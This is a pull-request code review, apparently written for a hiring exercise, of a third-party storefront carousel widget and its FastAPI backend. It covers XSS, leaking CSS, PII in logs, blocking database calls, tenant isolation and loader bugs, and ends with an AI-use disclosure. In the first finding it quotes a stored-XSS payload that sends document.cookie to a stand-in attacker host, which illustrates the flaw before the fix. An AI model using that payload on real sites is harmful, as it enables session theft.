Jewel ML - Senior SWE - Short PR Review

review.md

Verdict

Request changes.

There is a stored XSS in the widget that executes on the client's storefront, the injected stylesheet restyles the client's whole page, and the shopper's email is written to a console we do not own. Any one of those is enough to hold the PR. The API also 500s on the exact catalog shape we advertise that we handle.

Ordered below the way I would want the author to fix them.

---

Findings

1. XSS — we execute catalog data as HTML on the client's page

b/src/placements/complete-the-look.ts

We build the carousel with innerHTML and interpolate catalog strings straight into it:

  container.innerHTML = items.map((item) => `
    <a class="jml-ctl__item" href="${item.url}" data-sku="${item.sku}">
      <img src="${item.image.url}" alt="${item.image.alt}">
      <h3>${item.title}</h3>
      <p>${item.brand} — ${item.price.formatted}</p>
    </a>
  `).join('');

Silk Robe "><img src=x onerror="fetch('https://evil.tld/'+document.cookie)">

gives an attacker script execution on the client's product page, served by our bundle, inside their session. href="${item.url}" accepts javascript: the same way. This is not a theoretical injection, the catalog is the input and the catalog is messy by contract.

I would build nodes instead of a string, and validate the URL scheme:

  const el = (tag, props) => Object.assign(document.createElement(tag), props);
  const frag = document.createDocumentFragment();

  for (const item of items) {

    const a = el('a', { className: 'jml-ctl__item', href: safeUrl(item.url) });
    a.dataset.sku = item.sku;   

    a.append(
      el('img', { src: safeUrl(item.image.url), alt: item.image.alt, loading: 'lazy' }),
      el('h3',  { textContent: item.title }),
      el('p',   { textContent: `${item.brand} — ${item.price.formatted}` }),
    );

    frag.appendChild(a);
  }

  container.replaceChildren(frag);

We should not be shipping innerHTML with third party data in an embedded script, ever.

2. Our CSS leaks out and restyles the client's page

b/src/placements/complete-the-look.ts

STYLES contains bare element selectors and we append it to the client's document.head:

  img { max-width: 100%; height: auto; border-radius: 8px; }
  h3  { font-size: 14px; font-weight: 600; margin: 8px 0 4px; }
  p   { font-size: 13px; color: #666; }

That is not our carousel, that is every img, h3 and p on the page. On a product detail page we just rounded the corners of their hero image and turned all their body copy grey. This is the one thing the widget is not allowed to do: break the page it renders in.

Every selector needs to be scoped:

  .jml-ctl img { ... }
  .jml-ctl h3  { ... }
  .jml-ctl p   { ... }

Second problem in the same block: we append a new <style> element on every call to mountCompleteTheLook. Combined with the popstate bug below, the head grows without bound. Inject once and guard it:

  const STYLE_ID = 'jml-ctl-styles';

  function injectStyles(): void {
    if (document.getElementById(STYLE_ID)) return;
    const style = el('style', { id : STYLE_ID, textContent : STYLES });
    document.head.appendChild(style);
  }

3. We log the shopper's email into a console we do not own

b/src/placements/complete-the-look.ts

  console.log('[jewel] complete-the-look rendered', {
    ...
    shopperId: getShopperId(),
    shopperEmail: getShopperEmail(),
  });

We are a third party script on someone else's storefront. Their page very likely runs a session replay or RUM agent (FullStory, Datadog, LogRocket, Sentry) and those tools capture console output. So on every render we hand a shopper's email address to whatever vendors the client happens to have installed, from our script, without either company agreeing to it. That is a GDPR / CCPA problem for the client and for us, and it is the kind of thing that gets our tag removed.

Drop the email. Keep the debug log behind a flag and keep it to non identifying fields:

  if (DEBUG) {
    console.log('[jewel] complete-the-look rendered', { integrationId, sku, itemCount: items.length });
  }

Same instinct applies on the server, see finding 7.

4. The API 500s on the catalog shape we advertise that we handle

b/services/recs_api/placements/complete_the_look.py

  anchor = catalog.find_one({"integration_id": integration_id, "sku": sku})
  candidates = list(
      catalog.find({"integration_id": integration_id, "category": anchor["category"]})
  )

If the SKU is not in the catalog, find_one returns None and anchor["category"] raises TypeError, which FastAPI turns into a 500. An unknown SKU is not an edge case for us, it is Tuesday: the widget derives the SKU from window.location.pathname, so any PDP with a URL we do not parse cleanly lands here. Same thing if the anchor document simply has no category field.

The response comprehension has the identical problem, four more times:

  "title": c["title"],
  "image": {"url": c["image"]["url"], "alt": c["title"]},
  "price": {"formatted": f"${c['price']:.2f}", "amount": c["price"]},
  "brand": c["brand"],

One item in the category missing an image and the entire placement 500s instead of rendering eleven products. f"${c['price']:.2f}" also raises on a price stored as a string, which happens in real feeds.

Given the marketing promise, the route should degrade, not fail:

  anchor = catalog.find_one({"integration_id": integration_id, "sku": sku})
  if anchor is None or not anchor.get("category"):
      return {"items": []}

and the item mapper should skip anything it cannot render rather than take the request down with it. An empty carousel that the widget hides is a much better outcome than a 500 on the client's PDP.

5. Blocking Mongo calls inside async def stall the event loop

b/services/recs_api/placements/complete_the_look.py

The handler is async def, but pymongo is the synchronous driver. find_one and find block the event loop thread for the whole round trip, so every other in flight request on that worker waits behind this one. With a p95 target of 150ms globally and one service answering every client, this is the finding that costs us the SLO under load, and it will not show up in a single request benchmark.

Either use motor / the async PyMongo driver and await, or make the handler def so FastAPI runs it in the threadpool. await is the right answer here.

6. We load an entire category into memory, then throw most of it away

b/services/recs_api/placements/complete_the_look.py

  candidates = list(catalog.find({...}))   # every item in the category
  ranked = score_candidates(anchor, candidates, shopper_id=shopper_id)
  ... for c in ranked[:limit]

list() on that cursor materialises the whole category. For a client with 40k SKUs under "dresses" that is 40k documents per request, scored, then sliced to 12. Memory and latency both scale with the client's catalog size, which is exactly backwards.

Three things I would want:

• a limit on the cursor with a sane candidate pool (a few hundred), plus a projection so we only pull the fields we serialise
• confirmation there is a compound index on {integration_id, category}, otherwise this is a collection scan on a shared collection
• a cap on the limit query param, limit: int = Query(default=12, ge=1, le=50). Right now a caller can pass limit=100000

7. Nothing ties integration_id to the caller, and we log shopper_id

b/services/recs_api/placements/complete_the_look.py

integration_id is a path segment on an open GET. As written I can change victorias-secret to any other client's id and read their catalog. If there is auth in middleware I could not see it in the diff, and it should be visible or referenced in the route, because the same service answers every client.

Second, log.info(... shopper=%s ...) writes shopper_id on every request. That is a user identifier landing in application logs and whatever ships them onward, with whatever retention those have. Hash it or drop it.

8. Synchronous XHR freezes the client's page

b/src/placements/complete-the-look.ts

  const xhr = new XMLHttpRequest();
  xhr.open('GET', endpoint, false);   // sync
  xhr.send();

Sync XHR blocks the main thread until we respond. The client's page is frozen for the duration: no paint, no scroll, no input. We are the reason their site feels broken, and we are burning their Core Web Vitals, on a network call we do not control the latency of.

  const response = await fetch(endpoint);
  const { items } = await response.json();

Two things that need to come with it: mountCompleteTheLook becomes async, and there has to be a failure path. Today if the request fails or returns something unexpected, JSON.parse(xhr.responseText) throws inside the client's onload handler and takes out whatever they had running after us. Everything from the fetch down belongs in a try/catch that logs quietly and leaves the container empty. A missing carousel is fine. A thrown exception on their page is not.

9. The popstate listener registers exponentially

b/src/placements/complete-the-look.ts

  window.addEventListener('popstate', () => {
    mountCompleteTheLook(container, integrationId, sku);
  });

The registration lives inside the function it calls. After the first back button press there are two listeners, and each of those registers another on the next navigation, so it doubles every time. Along with it we re-inject the stylesheet and fire another network request per listener.

The listener should be registered once, outside the mount function, keeping the reference:

  window.addEventListener('popstate', mountCompleteTheLook);

  export function mountCompleteTheLook(): void {
    ...
  }

10. popstate does not fire on SPA navigation, and the SKU is captured once

b/src/placements/complete-the-look.ts

The comment says "client sites are increasingly SPAs", and that is exactly why popstate is not enough. It only fires on back/forward. A shopper clicking from one product to another in a React or Vue storefront goes through history.pushState, which fires no event at all, so the carousel silently keeps showing recommendations for the previous product.

Related, and it is the same root cause: sku is passed in as an argument and frozen at mount time. Even when we do re-render, we re-render the old SKU.

I would stop taking sku as a parameter and read it at render time instead, then detect navigation properly, either by patching pushState/replaceState to emit our own event, or by watching location.pathname with a MutationObserver on the container's ancestor. Whatever we pick, the render path should be: figure out the current SKU, bail if it is the one already rendered, otherwise fetch and render.

11. The loader owns logic we cannot ship fixes to

b/snippets/jewel-loader.js and b/src/placements/complete-the-look.ts

Two bugs in the snippet point at the same design problem, so I want to take them together.

  var s = document.createElement('script');
  s.src = 'https://cdn.jewelml.io/widgets/latest/jewel.js';
  document.head.appendChild(s);

  s.onload = function () { ... };

onload is attached after the request has already started. On a warm cache the script can load and fire load before that line runs, and then nothing mounts. It passes every test on a cold reload and fails intermittently for returning shoppers, which is the worst failure mode to debug from the outside. There is no onerror either, so a CDN blip is a silent no-op with nothing to alert on.

The narrow fix is to move the assignment above appendChild. I would rather delete the handler.

This file gets pasted into client pages and then frozen. We cannot ship a change to it without asking every client to edit their template, so every line of logic in here is a line we are stuck with. Right now it holds the container id, the SKU parsing and the mount call — three things we will certainly want to change. They belong on our side of the CDN.

Let the snippet do one thing, load the bundle and tell it who the client is:

  ;(function (id) {
    const s = document.createElement('script');
    s.src = 'https://cdn.jewelml.io/widgets/latest/jewel.js';
    s.async = 1;
    s.dataset.id = id;         
    document.head.appendChild(s);
  })('victorias-secret');

and let the bundle bootstrap itself:

  const self = document.currentScript;
  const integrationId = self?.dataset.id;
  ...

That buys us several things at once:

• The race disappears. There is no load handler to miss, because the code that needs to run is the code that just loaded.
• 'victorias-secret' stops being hardcoded in shared code. The id is an argument in the one line a client is expected to edit, and the file is otherwise byte identical for everyone. Better still, we generate that line per integration from our UI so nobody types it.
• Container lookup, SKU parsing and navigation handling all become ours to fix, shippable through the CDN without touching a single client's page.

12. Nothing guards the container

b/snippets/jewel-loader.js

  var container = document.getElementById('jml-complete-the-look');

If the client has not placed the div, or placed it with a different id, or renders it after we run, this is null and we throw inside their page. We do not own their HTML and cannot assume the element is there.

Under finding 11 this lookup moves into the bundle, but it still needs the guard, and so does the integration id:

  const container = document.getElementById('jml-complete-the-look');
  if (!container || !integrationId) return;

A quiet bail is the correct behaviour for a widget that has nowhere to render. Throwing on someone else's page is not.

---

Nits

Not blocking, but while we are in here.

Guard the IIFE against ASI

b/snippets/jewel-loader.js

We do not own the implementer's front end, so as good practice when writing an IIFE that will load next to other JavaScript from the client or from other third parties. Our snippet is

  (function () {
    console.log("hello")
  })();

but if whatever ran before us ends without a semicolon

  const x = 42

JavaScript will read it as

  const x = 42(function () { console.log("hello") })();

and we end up with a wonderful Uncaught TypeError: 42 is not a function — and it looks like our bug, in their console. A leading ; or ! costs one byte.

---

What's fine

Things I looked at and decided were deliberate or acceptable.

The API returns render ready items

price.formatted, image.alt and the flat item shape mean the widget does no formatting, no currency logic and no locale handling. For a bundle that ships no framework and lands on the client's critical path, pushing that work to the server is the right trade. It also means we can fix a currency bug for every client without a CDN deploy.

The route signature

shopper_id and limit are Query params with defaults rather than required, so a client integration that has no identity yet still gets a working, non personalised carousel instead of a 422. That is the right default for a widget that has to render on someone else's page no matter what.

Ranking lives behind score_candidates

The route does retrieval and serialisation and delegates the actual ranking to recs_api.ranking. That boundary is worth keeping — everything I flagged in the Python findings is fixable inside this file without touching the model side.

One service, one collection

integration_id as the leading field on every query means the multi tenant shape is consistent and indexable. My finding about the missing compound index is a "confirm this exists" rather than a design objection.

CatalogItem interface

Small thing, but it documents the contract between the two halves of the PR in the diff itself, which made reviewing the response shape possible without opening anything else.

No framework, plain DOM

Consistent with the stated constraint. My fix for the XSS finding stays inside that constraint on purpose — createElement and textContent add no dependency and no meaningful bytes.

The IIFE in the loader

Keeping our own scope on a page we do not control is the right call.

The unpinned latest/ CDN path

https://cdn.jewelml.io/widgets/latest/jewel.js means every client gets whatever we shipped last, which normally I would push back on. But it is clearly an existing platform decision rather than something this PR introduced, and it is what lets us fix finding 1 without asking clients to do anything. Out of scope here, worth its own conversation.

const throughout the widget

Fine as is.

---

AI disclosure

I used Claude Code (Opus 5).

The JavaScript and TypeScript work is mine. I read jewel-loader.js and complete-the-look.ts and started my review before opening any AI tooling. Once I had my findings, I used Claude to sanity-check them, catch typos, and challenge anything I might have gotten wrong.

One useful correction came from that review: I initially had a section about dynamically inserted scripts being synchronous by default. Claude pointed out that they are async by default, which I verified and removed from my findings. I kept the explicit s.async = true in my recommendation because I still prefer making that behavior intentional and obvious.

I delegated the Python review to Claude. JavaScript is where most of my experience is, I have more than 14 years working with Node.js, while Python is not a language I have nearly the same depth in. For this exercise, I chose to focus my own review on the JavaScript/TypeScript files and delegate complete_the_look.py to Claude.

I reviewed the Python findings it produced and kept only the ones I could verify, understand, and explain myself. Findings 4 through 7 came from that process. I stand behind those findings, but the initial observations came from Claude rather than from my own review of the file.